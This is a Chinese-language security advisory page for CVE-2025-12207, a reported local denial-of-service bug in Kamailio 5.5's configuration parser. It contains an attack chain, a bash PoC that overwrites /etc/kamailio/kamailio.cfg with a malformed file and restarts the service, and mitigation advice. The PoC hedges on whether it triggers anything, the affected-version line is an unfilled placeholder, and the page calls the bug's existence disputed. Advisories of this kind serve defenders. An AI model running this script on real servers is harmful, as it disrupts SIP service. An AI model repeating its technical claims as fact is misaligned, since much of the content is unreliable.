IPBUF安全漏洞报告
English
CVE-2025-12207 CVSS 3.3 低危

CVE-2025-12207 Kamailio 5.5 yyerror_at空指针解引用拒绝服务漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12207
漏洞类型
拒绝服务/空指针解引用
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kamailio 5.5

相关标签

CVE-2025-12207KamailioSIP拒绝服务空指针解引用本地攻击配置文件Grammar Rule Handlercfg.yyyerror_at

漏洞概述

CVE-2025-12207是Kamailio 5.5版本中存在的一个本地拒绝服务漏洞。该漏洞位于核心配置文件解析模块的Grammar Rule Handler组件中,具体影响src/core/cfg.y文件中的yyerror_at函数。攻击者可以通过操纵Kamailio的配置文件(.cfg文件)来触发该函数中的空指针解引用,从而导致服务崩溃或异常终止。此漏洞需要本地访问权限,攻击复杂度较低但需要一定的配置权限。CVSS 3.1基础评分为3.3,属于低危级别,对机密性、完整性和可用性均有轻微影响。值得注意的是,该漏洞的公开状态和实际存在性目前存在争议,且厂商在收到早期通知后未做出任何回应。

技术细节

该漏洞发生在Kamailio的配置文件解析阶段,具体位于src/core/cfg.y文件中的yyerror_at函数。yyerror_at函数是Bison/YACC语法分析器生成的错误处理函数,用于报告语法错误。当解析器遇到无效的配置语法时,会调用此函数生成错误消息。漏洞根因在于该函数在特定条件下解引用了一个空指针,可能发生在错误处理逻辑未能正确初始化相关数据结构的情况下。攻击者需要具备对Kamailio配置文件的写权限,通过精心构造包含特定语法错误的配置文件来触发漏洞。当Kamailio加载或重载该恶意配置时,解析器会触发yyerror_at函数中的空指针解引用,导致进程崩溃或产生未定义行为。此漏洞的利用场景相对受限,因为需要直接访问配置文件,但一旦被利用,可造成Kamailio SIP服务器拒绝服务,影响VoIP通信的正常运行。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统运行Kamailio 5.5版本,并确定具有配置文件访问权限
STEP 2
配置文件制作
攻击者创建包含特定语法错误的恶意Kamailio配置文件,触发cfg.y解析器中的错误处理路径
STEP 3
配置加载
将恶意配置文件部署到目标系统,触发Kamailio的配置解析和重载过程
STEP 4
漏洞触发
解析器在处理畸形语法时调用yyerror_at函数,触发空指针解引用
STEP 5
拒绝服务
空指针解引用导致Kamailio进程崩溃或进入异常状态,造成SIP服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-12207 PoC - Kamailio 5.5 yyerror_at Null Pointer Dereference # This PoC demonstrates triggering the vulnerability via malformed config # Create a malicious Kamailio configuration file cat > /tmp/malicious.cfg << 'EOF' # Kamailio Configuration File - Malformed for CVE-2025-12207 # Load required modules loadmodule "sl.so" loadmodule "tm.so" loadmodule "rr.so" loadmodule "maxfwd.so" loadmodule "usrloc.so" loadmodule "registrar.so" loadmodule "textops.so" loadmodule "textopsx.so" loadmodule "xlog.so" # Module parameters modparam("usrloc", "db_mode", 0) # Route block with syntax that triggers yyerror_at route { # Intentionally malformed request URI # This should trigger the null pointer dereference in yyerror_at if (($ru == "") || ($ru.method == "INVITE")) { # Force parsing error by using invalid transformation $var(test) = $(ru{invalid_transform); sl_send_reply("404", "Not Found"); exit; } # Another potential trigger point if (method=="REGISTER") { # Malformed condition that may trigger parser error if ($avp(s:invalid) == ) { save("location"); } exit; } } # Error route for handling parsing errors error_route { sl_send_reply("500", "Server Internal Error"); } EOF # Backup original config if exists if [ -f /etc/kamailio/kamailio.cfg ]; then cp /etc/kamailio/kamailio.cfg /etc/kamailio/kamailio.cfg.bak fi # Replace config and restart Kamailio cp /tmp/malicious.cfg /etc/kamailio/kamailio.cfg systemctl restart kamailio # Check for crash or error in logs grep -i "null pointer" /var/log/kamailio.log || echo "Check logs manually"

影响范围

Kamailio 5.5.x < 5.5.x (fixed version)

防御指南

临时缓解措施
由于厂商未回应此漏洞报告,建议采取以下临时缓解措施:1)严格限制对Kamailio配置文件目录的访问权限,确保只有受信任的管理员能够修改配置;2)实施配置文件的版本控制和变更管理流程;3)部署文件完整性监控(FIM)系统检测未授权的配置修改;4)考虑使用SELinux或AppArmor等强制访问控制机制隔离Kamailio进程;5)如果可能,暂时降级到Kamailio 5.4.x稳定版本;6)加强SIP服务器的入站监控,及时发现异常服务中断情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表